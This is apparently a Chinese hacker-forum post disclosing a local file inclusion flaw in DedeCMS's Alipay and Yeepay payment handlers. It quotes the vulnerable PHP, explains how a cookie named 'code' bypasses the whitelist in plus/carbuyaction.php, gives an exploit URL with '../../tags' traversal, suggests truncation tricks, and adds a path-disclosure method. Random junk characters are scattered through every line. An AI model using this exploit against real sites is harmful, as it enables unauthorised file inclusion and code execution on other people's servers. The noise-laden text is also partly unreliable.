晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
2 s3 p7 x& n0 S& N& m8 g! n; Q. B$ D# c& O. X' @- n
出现漏洞的两个文件为:
9 }% Z! X8 C1 C! [/ @+ fInclude/payment/alipay.php
" t$ N0 y4 V8 s- EInclude/payment/yeepay.php
( M% N1 W2 u4 V漏洞均出现在respond方法里,估计这两个文件是临时工写的。
- s/ k" @; _# c9 L" H
* t/ P% W) B% u, N) B, C3 \/ DInclude/payment/alipay.php
1 m9 O) n( e' n, }( {9 C) P; S N! y j4 r7 k4 [0 u* n
......
' e7 n, B8 J& n, {8 M7 q1 v2 ] function respond()
6 w6 ]' [+ M' ]- l' p {
$ s0 p: ]% x$ d4 o" W! p if (!empty($_POST))" z* Q- I" ]& _0 h7 y9 L9 g+ S0 A
{) T r2 n4 ^& K. S, F' @
foreach($_POST as $key => $data)
) L! J B3 j# A# ~+ Y( ?2 |+ Z {! H4 R7 o- O9 x! A0 H4 u2 e
$_GET[$key] = $data;
& u4 C+ x1 |: ]/ ] }& i, f- T& x+ q
}
. q' |7 B" d9 _: m5 w5 @ /* 引入配置文件 */
2 O. }' g; q8 L5 s require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';; j$ p% {" [+ [4 g+ q( E$ k& C
...... - T/ e2 m% [) r( o8 q
@* d& l% y6 m9 t9 p# `2 C0 e) ^( ]8 c* W
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。; c2 F( W1 m( g, ~, ]
* w9 o! Z7 T1 J) P$ i5 fInclude/payment/yeepay.php- R* r# i/ x E, B" g% u W
2 Y% e0 y& D! j8 w" K
( A, h: c3 J) H) r; ]+ l
- I1 o" k& u' F" p....... O( X/ U" `4 R! p7 s
function respond()
% J3 k, |4 K5 Q5 S* C, N {
$ E2 [3 X* Q& G D4 C
+ C; n$ y3 a9 i6 A /* 引入配置文件 */
9 o2 m( R J, ~ require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';: s+ l/ o: L2 G3 n1 |
1 S4 ^. j% J5 G* q$ `: {7 |
$p1_MerId = trim($payment['yp_account']);
% [ t! ?. T9 k& q $merchantKey = trim($payment['yp_key']);
( T3 d7 ~3 D. w% K......
" S8 E( O4 A8 ]9 F
8 C2 f w. @- A; k B$ ?/ B8 q& I; I- o7 B( A
+ v( M. c/ B" `& L9 @" ~9 Y( `+ }" z) ~ m+ O( E$ S
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
* \0 @! W7 w1 }8 B8 |
+ V9 |+ \9 G W这两个方法在plus/carbuyaction.php文件调用。
/ l7 N" J9 ^3 p4 A) p y/ H( G/ r4 j( Z' a0 Y
plus/carbuyaction.php1 Z! d- H! J& c5 Y
! m5 H7 ]1 q2 }3 |9 Q....../ v% I/ |0 H; g4 v2 K- V
} else if ($dopost == 'return') {' m. h1 [% |. i$ [) S8 h# f8 N
$write_list = array('alipay', 'bank', 'cod', 'yeepay');; Y0 S# Q8 W1 X5 S
if (in_array($code, $write_list))
- X1 C+ n0 ]" s8 [9 { {9 n0 S8 {' n- b7 G$ E6 Z
require_once DEDEINC.'/payment/'.$code.'.php';% C! [" E2 C4 B) D7 ~' z* e
$pay = new $code;( O& W* p9 O) ?" S+ A3 ^" K: V
$msg=$pay->respond();- N ]' {; t7 P# p
ShowMsg($msg, "javascript:;", 0, 3000);
8 q" I& N6 P# n exit();
- T2 A- n# M) z2 I! v5 s. y } else {
) I2 e' T# \- {* o, @) X exit('Error:File Type Can\'t Recognized!');
/ n/ S2 v/ r3 W8 X9 j ]3 C$ O3 f }/ n0 b. a. q* k8 g* W j- W
}
# W' W& a3 n6 D- S...... : O+ r' @2 M: m( D; X I& ?: H
6 J/ i$ G- y5 E0 t* f1 g( [
6 z" q5 [0 U- O- a7 K
; |- V& D" {: g
+ }6 b) z1 L: }' G$ N$ d
4 N: M9 b; N) ]" _5 \
, K+ {, X O% Q6 B8 q大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。+ Z. q& W* W' z0 ^2 C" a* T
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。9 x: Q% f- G3 {, f" w" b* L
% o8 W7 ]: [0 @1 Z) u9 @7 v' y回到include/common.inc.php来看看他的机制。4 y0 W p& w* Y/ y) }0 y, c3 _0 S
# v" v4 g) U8 d % y( a/ Q2 O( p( E: s1 j
7 z# P" A0 u7 b) G( Z, a* {
......0 z0 `* n: } ]. Q: E7 Z
foreach(Array('_GET','_POST','_COOKIE') as $_request)
- {* x: P' k4 N1 p{; U* O9 L/ W Q8 ]: T
foreach($$_request as $_k => $_v)
, o0 H3 C$ Y2 m {" z/ Z4 j/ e- S! e
if($_k == 'nvarname') ${$_k} = $_v;$ s6 `5 J) Q$ N; E0 x
else ${$_k} = _RunMagicQuotes($_v);6 `. r9 I2 {0 F8 Z ^" b7 ^7 p+ P
}" u7 B4 {3 }# H6 S4 O: x
}
+ n. q9 U' R, l. P......
" `* y. R" `/ {大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
6 [% ], M1 h. [由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |